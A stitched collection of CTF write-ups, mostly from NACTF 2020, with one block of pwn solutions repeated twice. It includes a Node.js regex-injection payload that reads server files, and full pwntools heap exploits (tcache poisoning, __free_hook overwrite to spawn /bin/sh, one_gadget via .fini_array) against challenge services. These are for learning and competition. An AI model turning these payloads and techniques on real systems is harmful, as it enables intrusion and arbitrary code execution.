// exploit:z'.match()/gi);const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return(data);/
//resultsapi.js: "var express = require('express');↵var router = express.Router();↵var RegexEr = require('./regexer')↵↵router.get('/regex/:pattern/:flags/:input', (req, res) => {↵ var params = {↵ pattern: req.params.pattern,↵ input: req.params.input,↵ flags: req.params.flags↵ };↵ try {↵ params.pattern = Buffer.from(req.params.pattern, 'base64').toString();↵ params.input = Buffer.from(req.params.input, 'base64').toString().replace(/\n/gm, "").trim();↵ params.flags = Buffer.from(req.params.flags, 'base64').toString();↵ RegexEr.process(params.pattern, params.flags, params.input)↵ .then((result) => res.status(200).send({result: result}))↵ .catch((err) => res.status(400).send({ error: err.message }));↵↵ } catch (ex) {↵ console.error(ex);↵ res.status(400).send(JSON.stringify(ex));↵ }↵↵});↵↵module.exports = router;"dockerfile:"from mhart/alpine-node:12\nWORKDIR /app\nCOPY . .\nRUN apk update\nRUN apk upgrade\nRUN apk add bash\nRUN apk add curl\nRUN npm install\nRUN chown root:root .\nRUN chmod -R 755 .\nRUN adduser -D -g '' server\nRUN touch requests.log\nRUN chown server:server requests.log\nRUN chmod +s /usr/bin/curl\nRUN echo 'CSR{r363x_15_fun_r363x_15_l0v3}' > /root/flaggerino_flaggeroni.toxt\nRUN chmod 640 /root/flaggerino_flaggeroni.toxt\nRUN chmod 744 /root\nUSER server\nEXPOSE 8080\nCMD [ \"node\", \"index.js\"]```
sure enought dockerfile had the flag```RUN echo 'CSR{r363x_15_fun_r363x_15_l0v3}'``` |
## Missing Image  
### Description```Max has been trying to add a picture to his first website. He uploaded the image to the server, but unfortunately, the image doesn't seem to be loading. I think he might be looking in the wrong subdomain...```
### Link (Probably doesn't work anymore)- https://hidden.challenges.nactf.com/
### SolutionWhen visiting the link, we are greeted with this generic site:As referenced in the title and the description of the challenge, we know that we are looking for some sort of image. After inspecting the page and going to the Network tab + reloading the page to see what type of traffic is going in. I see a 404 in the flag.png file:In the description, we know that the image is being requested in the wrong subdomain. We see that it requests at http://challenges.nactf.com/flag.png.But wait, the site we are on has a hidden subdomain. So once I added the flag.png and the subdomain in my search header, I found the flag.http://hidden.challenges.nactf.com/flag.png
### Flag```nactf{h1dd3n_1mag3s}``` |
## Arithmetic  
### DescriptionIan is exceptionally bad at arthimetic and needs some help on a problem: x + 2718281828 = 42. This should be simple... right?
```HINT: What does uint32_t mean?```
### SolutionI was really stuck on this problem mainly because the math didn't add up (get it?!) They're asking us to input a number that stands true to the comparison. But what threw me off was that you CAN'T input negative numbers. A normal person would think its:x = -2718281786So I was stuck. Until I looked at the hint. "What does uint32_t mean?".uint_32 is the same as an unsigned integer. Ok so that explains why we couldn't use negatives. But when I searched up "uint_32 vulnerability" I found a CVE talking something called "integer overflow". What's that you ask?Integer overflow occurs when an arithmetic operation (+/-/*//) attempts to create a numeric value that is outside of the range that can be represented with a given number of digits.Since we know that uint_32 is an integer, we know that its maximum value is 2^32-1 which is 4294967295.> Tip: There is also uint_16 (short) and uint_64 (long) which have different max values as well!
So an integer overflow occurs when you go over the limit of its expected value so the value turns into 0.
After this aha moment, I did the maths:4294967296 - 2718281828 + 42 = 1576685510
> The reason why I added one to uint_32's maximum value (4294967295) is because we also need to account for when the value turns to 0
So once I entered the number, I received the flag!
```> nc challenges.ctfd.io 30165Enter your number:1576685510flag: nactf{0verfl0w_1s_c00l_6e3bk1t5}```
### Flag```nactf{0verfl0w_1s_c00l_6e3bk1t5}``` |
Bruteforce the swapped bit by checking hamming codes
Code here: [https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/crypto/CryptoWriteups.md#error-1](https://github.com/blatchley/CTF_Writeups/blob/master/2020/NACTF/crypto/CryptoWriteups.md#error-1) |
## Grep 0  
### Description```Sophia created this large, mysterious file. She might have said something about grap.. grapes? Find her flag!```
### Attached files- flag.zip
### SolutionThis zip file contains a looooot of text! (81.7 MB to be exact!) It just said:```Maybe Here???NopDefinitely not hereLook somewhere else```Repetetively and we know that there is a flag in this gigantic text file. How the title says it all, but they want us to use "grep". Grep is a powerful tool used to find patterns within text and display them for you. These patterns my utilize regular expressions, wildcards, etc to meet your needs (for more information, look at their man page! Man Page https://man7.org/linux/man-pages/man1/grep.1.html)Now that we understand what grep can do, let's put that to practice. So the description gave us a little hint that our flag contained a string related to grapes (But they really mean grep). After some testing around I noticed that "gra", "gre", "grep", "grape", and many other combinations weren't working so I decided to truncate the pattern into "gr" which worked!We can use this simple command that will search for "gr" in the text file:```grep "gr" flag.txt```
### Flag```nactf{gr3p_1s_r3ally_c00l_54a65e7}``` |
# Newark Academy CTF 2020
b1c takes third global and first in highschools (We stole Gabe for one algo challenge *again*).
We also maintained the b1c tradition of dropping from 1st to 3rd due to a single challenge (*ahem* veggie factory 5 *ahem*) :upside_down_face:
## Covid tracker tracker tracker> Pwn 500, 40 solves> You've heard of COVID trackers, you might have heard of COVID tracker trackers, but what about COVID tracker tracker trackers? This one is a little rough around the edges, but what could possibly go wrong?> > nc challenges.ctfd.io 30252> > -asphyxia
No PIE, so we can poison tcache and point it to `setvbuf@got` to read a libc pointer. Then, we can poison tcache again to write `system` to `__libc_free_hook`.
We have to do some fiddling with the amount of trackers we create to ensure we can recover from the initial tcache poison. The tcache will look something like `HEAD -> <actual chunks> -> setvbuf@got -> setvbuf@libc -> <bad memory>`. Any further allocations past setvbuf@libc would cause a segfault.
We can fix this by creating an excess of freeable chunks before poisoning, and freeing them to the head of the desired tcache bin after our first poison, creating a sort of "buffer" of newly poisonable chunks.
Then, just tcache poison to overwrite `__libc_free_hook` with `system` and free a chunk with `/bin/sh`.
```pythonfrom pwn import *
e = ELF("./cttt")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path})p = remote("challenges.ctfd.io", 30252)
context.log_level="debug"gdb.attach(p, """c""")
def add(): p.sendlineafter(">", "1")
def edit(idx, n): p.sendlineafter(">", "2") p.sendlineafter("?", str(idx)) p.sendlineafter("?", n)
def remove(idx): p.sendlineafter(">", "3") p.sendlineafter("?", str(idx))
def show(): p.sendlineafter(">", "4")
add() #1add() #2add() #3add() #4add() #5add() #6add() #7add() #8add() #9add() #10edit(10, "/bin/sh")
remove(6)remove(5)remove(4)remove(3)remove(2)remove(1)
edit(1, p64(e.got["setvbuf"]))
add() #11add() #12
show()
p.recvuntil("12) ")
libc.address = u64(p.recv(6).ljust(8, "\x00")) - 529136
print("libc base", hex(libc.address))
remove(7)
edit(7, p64(libc.sym["__free_hook"]))
add() #13add() #14
edit(14, p64(libc.sym["system"]))
remove(10)
p.interactive()```
Flag: `nactf{d0nt_us3_4ft3r_fr33_zsouEFF4bfCI5eew}`
## Tale of two> Pwn 500, 36 solves> A tale of two functions, two operations, and a flag.> > nc challenges.ctfd.io 30250> > -asphyxia
We get one relative read and one relative write. We can read a libc pointer at offset -4 and we can write a one_gadget to .fini_array at offset -75.
```pythonfrom pwn import *
e = ELF("./tale-of-two")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process(e.path)p = remote("challenges.ctfd.io", 30250)
context.log_level="debug"gdb.attach(p, """b * main+190 b * main+233 c""")
#read
p.sendlineafter("?", "-4")
p.recvline()
libc.address = int(p.recvline().strip(), 16) - 507584
print("libc base", hex(libc.address))
#write a one gadget to .fini_array, which is at offset -600/8 == -75
og = libc.address + 0x4f322
print("one gadget", hex(og))
p.sendlineafter("?", "-75")
p.sendlineafter("?", str(og))
p.interactive()```
Flag: `nactf{a_l0n3ly_dt0r_4nd_a_sh3ll_tUIlF0jxW5aMXoGo}`
## gcalc> Pwn 700, 23 solves> Weighted averaging is too hard, so I made a program to do it for you!> > nc challenges.ctfd.io 30253> > -asphyxia
This solution takes approx. 2 minutes and 30 seconds to run on remote lol.
We are given three important functions:1) Add a category2) Set grades in a category3) Print report
Each grade category is implemented as a struct.There is a global array of category entry structs, which is below:

There is enough space in the global category array for 16 structs.
#### Add category

We can see that we can malloc as large a chunk for grades as we want, provided that the size is nonzero. The decompilation spasm at the end is useless, and we can ignore that.
The chunk that we allocate will be set as the chunk_ptr of the next available category struct within the category array.
#### Set grades

Here, we can set grades in each category. Each byte in a category's chunk_ptr chunk is a "grade".
We are given the choice to resize a chunk before adding grades. Note that if read_int() returns a 0, then nothing happens. However, any other number will trigger a call to free the current chunk referenced by the selected category. Then, a new call to malloc is made with the requsted size.
Finally, note line 35, which contains an off by one error. In select cases, we can write into the lowest byte of the size of the next chunk. More on this later.
#### Print report
This function calculates your final percent grade.
I'm not going to show the decomp for this one because it hurts my head to look at it, and is essentially useless.
The only important function it serves is that it allows us to view each byte of each chunk as a signed integer (a "grade") as part of its functionality.
#### Libc Leak
We can leak libc fairly trivially. We can:1. Create a 0x420 sized chunk to go into the unsorted bin2. Create a 0x10 sized chunk to prevent top consolidation3. Set the grade to something different to cause a free() on the unsorted bin chunk4. Create a chunk5. Print report
This creates a chunk to go into the unsorted bin, frees it, allocates from it, and then directly reads it.
Because of how the unsorted bin works, libc pointers are written to the first few bytes of chunks (the `fwd` and `bk` fields) in the unsorted bin, and aren't zeroed when allocated. We can abuse this to leak libc on the uninitialized chunk that we allocate.
#### Arbitrary Write
Recall the off by one in the set grades function. Can we abuse this? Yes!
If we allocate an n sized chunk, we can write n+1 bytes. However, this usually wouldn't be helpful since the next chunk is further from the end of our write, right? Nooooo.
If we create a chunk size divisible by 8 but not 10, such as 0xf8, we can write into the lowest byte of the next chunk.
Using this, you'd think that I would go and change the size of the next chunk to be very large and do stuff from there. Instead, I'm lazy and just decided to use a null byte like in picoCTF 2019's Ghost Diary.
We:- Allocate 7 0xf0 chunks (these will be used to fill tcache later so we can get an unsorted chunk later)- Allocate a 0xf0 chunk (Call this chunk A)- Allocate a 0x18 chunk (Call this chunk B)- Allocate a 0xf0 chunk (Call this chunk C)- Free all 7 of our first 7 0xf0 chunks using the set_grades function to fill the 0x100 tcache
The last step will put 7 chunks into the 0x100 tcache (0xf0 + 0x10 bytes metadata).
Because of the malloc at the end of the set_grades function, we don't need to malloc a little chunk after chunk C to prevent top conslidation.
Then, we do the following corruption:- Free chunk A- Write to chunk B, forge a chunk, and overflow into chunk C's `size` parameter with a null byte- Free chunk C- Free chunk B
Chunk A gets added to the unsorted bin list because the 0x100 tcache is already filled.
Chunk B needs a certain 0x120 size written to the `prev_size` field of chunk C (Chunk A's 0x100 + Chunk B's 0x20)
Chunk C is freed, causing backwards consolidation with what malloc thinks is just chunk A, but is really chunk A + B.
Finally, chunk B is freed, putting it onto the tcache and setting us up for tcache poisoning.
After that, all we have to do is allocate a chunk from chunk A + B to overwrite the `fwd` pointer of the free B chunk.
We can overwrite `fwd` with `__libc_free_hook`, write `system` to it, and free a chunk that has `/bin/sh` written to it.
```pythonfrom pwn import *
e = ELF("./gcalc")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process([e.path])p = remote("challenges.ctfd.io", 30253)
context.log_level="debug"gdb.attach(p, """c""")
def add_cat(weight, amt): p.sendlineafter(">", "1") p.sendlineafter(")", str(weight)) p.sendlineafter("?", str(amt))
def set_grades(cat, sz, grades): p.sendlineafter(">", "2") p.sendlineafter(")", str(cat)) p.sendlineafter("):", str(sz)) for i in grades: p.sendlineafter(":", str(i))
def generate(): p.sendlineafter(">", "3")
add_cat(100, 1056) #1add_cat(100, 20) #2
set_grades(1, 1, [1, 1])
add_cat(100, 6) #3
generate()
p.recvuntil("#3:")
p.recvuntil("Grades: ")
# truly get into the Python spiritlibc.address = u64(''.join(map(lambda x: chr(int(x)) if int(x) >= 0 else chr(int(x)+256), p.recvline().strip().split(", "))).ljust(8, "\x00")) - 4111520 # make sure to calculate two's complement if negative
print("libc address", hex(libc.address))
add_cat(100, 0x3d0) #4
for i in range(7): add_cat(100, 0xf0) #5, 6, 7, 8, 9, 10, 11
add_cat(100, 0xf0) #12
add_cat(100, 0x18) #13
add_cat(100, 0xf0) #14
for i in range(7): set_grades(i+5, 0x80, [1 for i in range(0x81)])
set_grades(12, 0x500, [1 for i in range(0x501)])
set_grades(13, 'n', [0x41 for i in range(0x10)] + [0x20, 0x1] + [0x0 for i in range(6)] + [0])
set_grades(14, 0x500, [1 for i in range(0x501)])
#set_grades(13, 'n', [0x1 for i in range(0x19)])
set_grades(13, 0x30, [0x1 for i in range(0x31)])
forge = ""forge += '\x00'*0xb0forge += p64(0) + p64(0x69)
forge += p64(libc.sym["__free_hook"])
set_grades(1, 0x170, [ord(i) for i in forge] + [0 for i in range(0x171 - len(forge))])
set_grades(5, 0x10, [1 for i in range(0x11)])set_grades(6, 0x10, [1 for i in range(0x11)])set_grades(7, 0x10, [ord(i) for i in p64(libc.sym["system"])] + [0 for i in range(9)])
set_grades(8, 0x10, [ord(i) for i in p64(0x68732f6e69622f)] + [0 for i in range(9)])
p.sendlineafter(">", "2")p.sendlineafter(")", "8")p.sendlineafter("):", "32")
p.interactive()```
Flag: `nactf{0n3_byt3_ch40s_l34d5_t0_h34p_c3rn4g3_PP0SvwNV44uwRSbm}` |
## Grep 1  
### Description```Elaine hid a REGULAR flag among more than 1,000,000 fake ones! The flag was an EXPRESSION of her love for nactf, so the first 10 characters after "nactf{" only have the characters 'n', 'a', 'c', and the last 14 characters only have the characters 'c', 't' and 'f'. There are 52 characters in total, including nactf{}.```
### Attached files- flag.zip
### SolutionOk this challenge has a similar topic to Grep 0 except that this one will be a bit more complex. They gave us a 72.3 MB file that contains many counterfiet flags with the format "nactf{....}". Similar to grep 0, we are looking for a specific pattern to find the actual flag. They've given a hint about regular expressions when they ALL CAPS the "regular" and "expression" in the description. In this challenge, we have to formulate a regular expression to find patterns according to the description of the real flag.- First 10 characters after nactf{ only have the characters 'n', 'a', 'c'- Last 14 characters only have the characters 'c', 'f', and 'f'- There are 52 characters in total including nactf{}
So this is what I did at first:```grep "nactf{[nac][nac][nac][nac][nac][nac][nac][nac][nac][nac]?????????????????????[ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf][ctf]}" flag.txt```After doing some research, I found this cheat sheet: [Link](https://www.rexegg.com/regex-quickstart.html) that helped me solve this problem (and make it look less messy)
- []: One of the characters in the brackets should match- {}: How many times it should be iterated- .: Literally any character except a line break
```grep "nactf{[nac]{10}.{21}[ctf]{14}}" flag.txt```This was the correct pattern but I couldn't get it to work for some reason, so I decided to use sublime's regular expression search on the text file. After some debugging and playing around, I found the flag!
This took some time for me but it was worth it!
### Flag```nactf{caancanccnxfynhtjlgllctekilyagxctftcffcfcctft}``` |
# Newark Academy CTF 2020
b1c takes third global and first in highschools (We stole Gabe for one algo challenge *again*).
We also maintained the b1c tradition of dropping from 1st to 3rd due to a single challenge (*ahem* veggie factory 5 *ahem*) :upside_down_face:
## Covid tracker tracker tracker> Pwn 500, 40 solves> You've heard of COVID trackers, you might have heard of COVID tracker trackers, but what about COVID tracker tracker trackers? This one is a little rough around the edges, but what could possibly go wrong?> > nc challenges.ctfd.io 30252> > -asphyxia
No PIE, so we can poison tcache and point it to `setvbuf@got` to read a libc pointer. Then, we can poison tcache again to write `system` to `__libc_free_hook`.
We have to do some fiddling with the amount of trackers we create to ensure we can recover from the initial tcache poison. The tcache will look something like `HEAD -> <actual chunks> -> setvbuf@got -> setvbuf@libc -> <bad memory>`. Any further allocations past setvbuf@libc would cause a segfault.
We can fix this by creating an excess of freeable chunks before poisoning, and freeing them to the head of the desired tcache bin after our first poison, creating a sort of "buffer" of newly poisonable chunks.
Then, just tcache poison to overwrite `__libc_free_hook` with `system` and free a chunk with `/bin/sh`.
```pythonfrom pwn import *
e = ELF("./cttt")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process([ld.path, e.path], env={"LD_PRELOAD": libc.path})p = remote("challenges.ctfd.io", 30252)
context.log_level="debug"gdb.attach(p, """c""")
def add(): p.sendlineafter(">", "1")
def edit(idx, n): p.sendlineafter(">", "2") p.sendlineafter("?", str(idx)) p.sendlineafter("?", n)
def remove(idx): p.sendlineafter(">", "3") p.sendlineafter("?", str(idx))
def show(): p.sendlineafter(">", "4")
add() #1add() #2add() #3add() #4add() #5add() #6add() #7add() #8add() #9add() #10edit(10, "/bin/sh")
remove(6)remove(5)remove(4)remove(3)remove(2)remove(1)
edit(1, p64(e.got["setvbuf"]))
add() #11add() #12
show()
p.recvuntil("12) ")
libc.address = u64(p.recv(6).ljust(8, "\x00")) - 529136
print("libc base", hex(libc.address))
remove(7)
edit(7, p64(libc.sym["__free_hook"]))
add() #13add() #14
edit(14, p64(libc.sym["system"]))
remove(10)
p.interactive()```
Flag: `nactf{d0nt_us3_4ft3r_fr33_zsouEFF4bfCI5eew}`
## Tale of two> Pwn 500, 36 solves> A tale of two functions, two operations, and a flag.> > nc challenges.ctfd.io 30250> > -asphyxia
We get one relative read and one relative write. We can read a libc pointer at offset -4 and we can write a one_gadget to .fini_array at offset -75.
```pythonfrom pwn import *
e = ELF("./tale-of-two")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process(e.path)p = remote("challenges.ctfd.io", 30250)
context.log_level="debug"gdb.attach(p, """b * main+190 b * main+233 c""")
#read
p.sendlineafter("?", "-4")
p.recvline()
libc.address = int(p.recvline().strip(), 16) - 507584
print("libc base", hex(libc.address))
#write a one gadget to .fini_array, which is at offset -600/8 == -75
og = libc.address + 0x4f322
print("one gadget", hex(og))
p.sendlineafter("?", "-75")
p.sendlineafter("?", str(og))
p.interactive()```
Flag: `nactf{a_l0n3ly_dt0r_4nd_a_sh3ll_tUIlF0jxW5aMXoGo}`
## gcalc> Pwn 700, 23 solves> Weighted averaging is too hard, so I made a program to do it for you!> > nc challenges.ctfd.io 30253> > -asphyxia
This solution takes approx. 2 minutes and 30 seconds to run on remote lol.
We are given three important functions:1) Add a category2) Set grades in a category3) Print report
Each grade category is implemented as a struct.There is a global array of category entry structs, which is below:

There is enough space in the global category array for 16 structs.
#### Add category

We can see that we can malloc as large a chunk for grades as we want, provided that the size is nonzero. The decompilation spasm at the end is useless, and we can ignore that.
The chunk that we allocate will be set as the chunk_ptr of the next available category struct within the category array.
#### Set grades

Here, we can set grades in each category. Each byte in a category's chunk_ptr chunk is a "grade".
We are given the choice to resize a chunk before adding grades. Note that if read_int() returns a 0, then nothing happens. However, any other number will trigger a call to free the current chunk referenced by the selected category. Then, a new call to malloc is made with the requsted size.
Finally, note line 35, which contains an off by one error. In select cases, we can write into the lowest byte of the size of the next chunk. More on this later.
#### Print report
This function calculates your final percent grade.
I'm not going to show the decomp for this one because it hurts my head to look at it, and is essentially useless.
The only important function it serves is that it allows us to view each byte of each chunk as a signed integer (a "grade") as part of its functionality.
#### Libc Leak
We can leak libc fairly trivially. We can:1. Create a 0x420 sized chunk to go into the unsorted bin2. Create a 0x10 sized chunk to prevent top consolidation3. Set the grade to something different to cause a free() on the unsorted bin chunk4. Create a chunk5. Print report
This creates a chunk to go into the unsorted bin, frees it, allocates from it, and then directly reads it.
Because of how the unsorted bin works, libc pointers are written to the first few bytes of chunks (the `fwd` and `bk` fields) in the unsorted bin, and aren't zeroed when allocated. We can abuse this to leak libc on the uninitialized chunk that we allocate.
#### Arbitrary Write
Recall the off by one in the set grades function. Can we abuse this? Yes!
If we allocate an n sized chunk, we can write n+1 bytes. However, this usually wouldn't be helpful since the next chunk is further from the end of our write, right? Nooooo.
If we create a chunk size divisible by 8 but not 10, such as 0xf8, we can write into the lowest byte of the next chunk.
Using this, you'd think that I would go and change the size of the next chunk to be very large and do stuff from there. Instead, I'm lazy and just decided to use a null byte like in picoCTF 2019's Ghost Diary.
We:- Allocate 7 0xf0 chunks (these will be used to fill tcache later so we can get an unsorted chunk later)- Allocate a 0xf0 chunk (Call this chunk A)- Allocate a 0x18 chunk (Call this chunk B)- Allocate a 0xf0 chunk (Call this chunk C)- Free all 7 of our first 7 0xf0 chunks using the set_grades function to fill the 0x100 tcache
The last step will put 7 chunks into the 0x100 tcache (0xf0 + 0x10 bytes metadata).
Because of the malloc at the end of the set_grades function, we don't need to malloc a little chunk after chunk C to prevent top conslidation.
Then, we do the following corruption:- Free chunk A- Write to chunk B, forge a chunk, and overflow into chunk C's `size` parameter with a null byte- Free chunk C- Free chunk B
Chunk A gets added to the unsorted bin list because the 0x100 tcache is already filled.
Chunk B needs a certain 0x120 size written to the `prev_size` field of chunk C (Chunk A's 0x100 + Chunk B's 0x20)
Chunk C is freed, causing backwards consolidation with what malloc thinks is just chunk A, but is really chunk A + B.
Finally, chunk B is freed, putting it onto the tcache and setting us up for tcache poisoning.
After that, all we have to do is allocate a chunk from chunk A + B to overwrite the `fwd` pointer of the free B chunk.
We can overwrite `fwd` with `__libc_free_hook`, write `system` to it, and free a chunk that has `/bin/sh` written to it.
```pythonfrom pwn import *
e = ELF("./gcalc")libc = ELF("./libc.so.6")ld = ELF("./ld-linux-x86-64.so.2")
context.binary = econtext.terminal = ["konsole", "-e"]
p = process([e.path])p = remote("challenges.ctfd.io", 30253)
context.log_level="debug"gdb.attach(p, """c""")
def add_cat(weight, amt): p.sendlineafter(">", "1") p.sendlineafter(")", str(weight)) p.sendlineafter("?", str(amt))
def set_grades(cat, sz, grades): p.sendlineafter(">", "2") p.sendlineafter(")", str(cat)) p.sendlineafter("):", str(sz)) for i in grades: p.sendlineafter(":", str(i))
def generate(): p.sendlineafter(">", "3")
add_cat(100, 1056) #1add_cat(100, 20) #2
set_grades(1, 1, [1, 1])
add_cat(100, 6) #3
generate()
p.recvuntil("#3:")
p.recvuntil("Grades: ")
# truly get into the Python spiritlibc.address = u64(''.join(map(lambda x: chr(int(x)) if int(x) >= 0 else chr(int(x)+256), p.recvline().strip().split(", "))).ljust(8, "\x00")) - 4111520 # make sure to calculate two's complement if negative
print("libc address", hex(libc.address))
add_cat(100, 0x3d0) #4
for i in range(7): add_cat(100, 0xf0) #5, 6, 7, 8, 9, 10, 11
add_cat(100, 0xf0) #12
add_cat(100, 0x18) #13
add_cat(100, 0xf0) #14
for i in range(7): set_grades(i+5, 0x80, [1 for i in range(0x81)])
set_grades(12, 0x500, [1 for i in range(0x501)])
set_grades(13, 'n', [0x41 for i in range(0x10)] + [0x20, 0x1] + [0x0 for i in range(6)] + [0])
set_grades(14, 0x500, [1 for i in range(0x501)])
#set_grades(13, 'n', [0x1 for i in range(0x19)])
set_grades(13, 0x30, [0x1 for i in range(0x31)])
forge = ""forge += '\x00'*0xb0forge += p64(0) + p64(0x69)
forge += p64(libc.sym["__free_hook"])
set_grades(1, 0x170, [ord(i) for i in forge] + [0 for i in range(0x171 - len(forge))])
set_grades(5, 0x10, [1 for i in range(0x11)])set_grades(6, 0x10, [1 for i in range(0x11)])set_grades(7, 0x10, [ord(i) for i in p64(libc.sym["system"])] + [0 for i in range(9)])
set_grades(8, 0x10, [ord(i) for i in p64(0x68732f6e69622f)] + [0 for i in range(9)])
p.sendlineafter(">", "2")p.sendlineafter(")", "8")p.sendlineafter("):", "32")
p.interactive()```
Flag: `nactf{0n3_byt3_ch40s_l34d5_t0_h34p_c3rn4g3_PP0SvwNV44uwRSbm}` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.